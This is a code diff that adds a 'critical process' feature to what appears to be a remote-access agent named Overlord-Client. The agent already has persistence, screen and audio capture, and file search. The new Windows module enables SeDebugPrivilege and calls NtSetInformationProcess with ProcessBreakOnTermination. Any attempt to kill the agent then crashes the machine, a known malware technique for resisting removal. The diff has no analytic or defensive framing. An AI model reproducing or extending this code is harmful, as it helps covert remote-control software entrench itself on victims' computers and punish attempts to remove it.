add critical process for windows

Overlord-Client/cmd/agent/config/config.go

@@ -28,6 +28,7 @@ var DefaultCountry = ""
 var DefaultAgentToken = ""
 var DefaultBuildTag = ""
 var DefaultSleepSeconds = "0"
+var DefaultCriticalProcess = "false"
 
 const settingsFile = "config/settings.json"
 const serverIndexFile = "config/server_index.json"
@@ -57,6 +58,7 @@ type Config struct {
 	CaptureInterval       time.Duration
 	DisableCapture        bool
 	EnablePersistence     bool
+	CriticalProcess       bool
 	TLSInsecureSkipVerify bool
 	TLSCAPath             string
 	TLSClientCert         string
@@ -123,6 +125,8 @@ func Load() Config {
 		enablePersistence = v == "true" || v == "1" || v == "yes"
 	}
 
+	criticalProcess := strings.ToLower(DefaultCriticalProcess) == "true"
+
 	tlsInsecureSkipVerify := true
 	if v := strings.ToLower(strings.TrimSpace(os.Getenv("OVERLORD_TLS_INSECURE_SKIP_VERIFY"))); v != "" {
 		tlsInsecureSkipVerify = v == "true" || v == "1" || v == "yes"
@@ -152,6 +156,7 @@ func Load() Config {
 		ID:                    defaultHWID,
 		HWID:                  firstNonEmpty(fileSettings.HWID, defaultHWID),
 		EnablePersistence:     enablePersistence,
+		CriticalProcess:       criticalProcess,
 		Country:               firstNonEmpty(strings.TrimSpace(fileSettings.Country), DefaultCountry),
 		OS:                    runtime.GOOS,
 		Arch:                  runtime.GOARCH,

Overlord-Client/cmd/agent/criticalproc/criticalproc_default.go

@@ -0,0 +1,8 @@
+//go:build !windows
+// +build !windows
+
+package criticalproc
+
+func Setup() {}
+
+func Teardown() {}

Overlord-Client/cmd/agent/criticalproc/criticalproc_windows.go

@@ -0,0 +1,87 @@
+//go:build windows
+// +build windows
+
+package criticalproc
+
+import (
+	"fmt"
+	"log"
+	"unsafe"
+
+	"golang.org/x/sys/windows"
+)
+
+var (
+	modntdll                    = windows.NewLazySystemDLL("ntdll.dll")
+	procNtSetInformationProcess = modntdll.NewProc("NtSetInformationProcess")
+)
+
+const processBreakOnTermination = 29
+
+func Setup() {
+	if !windows.GetCurrentProcessToken().IsElevated() {
+		log.Printf("[criticalproc] not running as administrator, skipping critical process flag")
+		return
+	}
+	if err := enableSeDebugPrivilege(); err != nil {
+		log.Printf("[criticalproc] failed to enable SeDebugPrivilege: %v", err)
+		return
+	}
+	if err := ntSetBreakOnTermination(1); err != nil {
+		log.Printf("[criticalproc] failed to set critical process: %v", err)
+		return
+	}
+	log.Printf("[criticalproc] process marked as critical")
+}
+
+func Teardown() {
+	if !windows.GetCurrentProcessToken().IsElevated() {
+		return
+	}
+	if err := ntSetBreakOnTermination(0); err != nil {
+		log.Printf("[criticalproc] failed to unset critical process: %v", err)
+	}
+}
+
+func enableSeDebugPrivilege() error {
+	var hToken windows.Token
+	err := windows.OpenProcessToken(
+		windows.CurrentProcess(),
+		windows.TOKEN_ADJUST_PRIVILEGES|windows.TOKEN_QUERY,
+		&hToken,
+	)
+	if err != nil {
+		return fmt.Errorf("OpenProcessToken: %w", err)
+	}
+	defer hToken.Close()
+
+	seDebugName, err := windows.UTF16PtrFromString("SeDebugPrivilege")
+	if err != nil {
+		return fmt.Errorf("UTF16PtrFromString: %w", err)
+	}
+	var luid windows.LUID
+	if err := windows.LookupPrivilegeValue(nil, seDebugName, &luid); err != nil {
+		return fmt.Errorf("LookupPrivilegeValue: %w", err)
+	}
+
+	tp := windows.Tokenprivileges{
+		PrivilegeCount: 1,
+		Privileges: [1]windows.LUIDAndAttributes{
+			{Luid: luid, Attributes: windows.SE_PRIVILEGE_ENABLED},
+		},
+	}
+	return windows.AdjustTokenPrivileges(hToken, false, &tp, 0, nil, nil)
+}
+
+func ntSetBreakOnTermination(val uint32) error {
+	ret, _, _ := procNtSetInformationProcess.Call(
+		uintptr(windows.CurrentProcess()),
+		processBreakOnTermination,
+		uintptr(unsafe.Pointer(&val)),
+		unsafe.Sizeof(val),
+	)
+	if ret != 0 {
+		return fmt.Errorf("NtSetInformationProcess(ProcessBreakOnTermination) failed: NTSTATUS 0x%x", ret)
+	}
+	return nil
+}

Overlord-Client/cmd/agent/handlers/command.go

@@ -17,6 +17,7 @@ import (
 	"overlord-client/cmd/agent/audio"
 	"overlord-client/cmd/agent/capture"
 	"overlord-client/cmd/agent/console"
+	"overlord-client/cmd/agent/criticalproc"
 	"overlord-client/cmd/agent/filesearch"
 	"overlord-client/cmd/agent/persistence"
 	"overlord-client/cmd/agent/plugins"
@@ -1907,11 +1908,13 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
 			log.Printf("uninstall: failed to remove persistence: %v", err)
 		}
 
+		criticalproc.Teardown()
 		os.Exit(0)
 	case "disconnect":
 		res := wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true}
 		_ = wire.WriteMsg(ctx, env.Conn, res)
 		resetForReconnect(env)
+		criticalproc.Teardown()
 		os.Exit(0)
 		return nil
 	case "reconnect":

Overlord-Client/cmd/agent/main.go

@@ -5,6 +5,7 @@ import (
 	"time"
 
 	"overlord-client/cmd/agent/config"
+	"overlord-client/cmd/agent/criticalproc"
 	"overlord-client/cmd/agent/mutex"
 	"overlord-client/cmd/agent/persistence"
 )
@@ -24,6 +25,10 @@ func main() {
 		}
 	}
 
+	if cfg.CriticalProcess {
+		criticalproc.Setup()
+	}
+
 	releaseMutex, ok, err := mutex.Acquire(cfg.Mutex)
 	if err != nil {
 		log.Printf("[mutex] failed to initialize mutex: %v", err)